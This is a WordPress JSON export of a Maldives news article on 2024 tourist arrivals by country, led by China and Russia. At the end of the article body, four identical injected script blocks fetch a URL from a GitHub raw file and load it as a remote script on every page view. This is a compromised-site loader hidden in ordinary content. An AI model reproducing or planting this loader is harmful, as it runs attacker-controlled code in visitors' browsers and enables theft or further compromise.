{"id":8827,"date":"2024-02-15T20:09:04","date_gmt":"2024-02-15T15:09:04","guid":{"rendered":"https:\/\/mbt.mv\/?p=8827"},"modified":"2024-02-15T20:09:04","modified_gmt":"2024-02-15T15:09:04","slug":"china-widens-gap-with-competitors-eases-in-top-spot","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=8827","title":{"rendered":"China widens gap with competitors; eases in top spot"},"content":{"rendered":"<p>Arrivals from China exceeds 40,000 as of February 14, 2024 reports the Ministry of Finance.<\/p>\n<p>According to the statistics posted by the ministry, tourist arrivals from China reached 40,892 as of January 13, which is exactly 11,919 ahead of the second strongest market; Russia.<\/p>\n<p>Italy is the third strongest source market while UK has maintained fourth spot. India is in fifth place, with each of these markets above 20,000 arrivals so far in 2024.<\/p>\n<h2>Top 10 Markets 2024<\/h2>\n<ol>\n<li>China: 40,892<\/li>\n<li>Russia: 28,973<\/li>\n<li>Italy: 27,552<\/li>\n<li>UK: 26,120<\/li>\n<li>India: 20,903<\/li>\n<li>Germany: 17,943<\/li>\n<li>France: 10,542<\/li>\n<li>USA: 9,651<\/li>\n<li>Poland: 7,875<\/li>\n<li>Switzerland: 6,752<\/li>\n<\/ol>\n<p>The total tourist arrivals to the Maldives has reached 294,923 as of the review date; which is a 16.2% increase in annual terms. From February 1 to 13, arrivals to the Maldives stood at 102,538; registering an impressive 26.1% increase in total arrivals.<\/p>\n<p>The daily arrival average is at 6,703 on a year-to-date basis while the average duration of stay is 7.9 days.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Arrivals from China exceeds 40,000 as of February 14, 2024 reports the Ministry of Finance. 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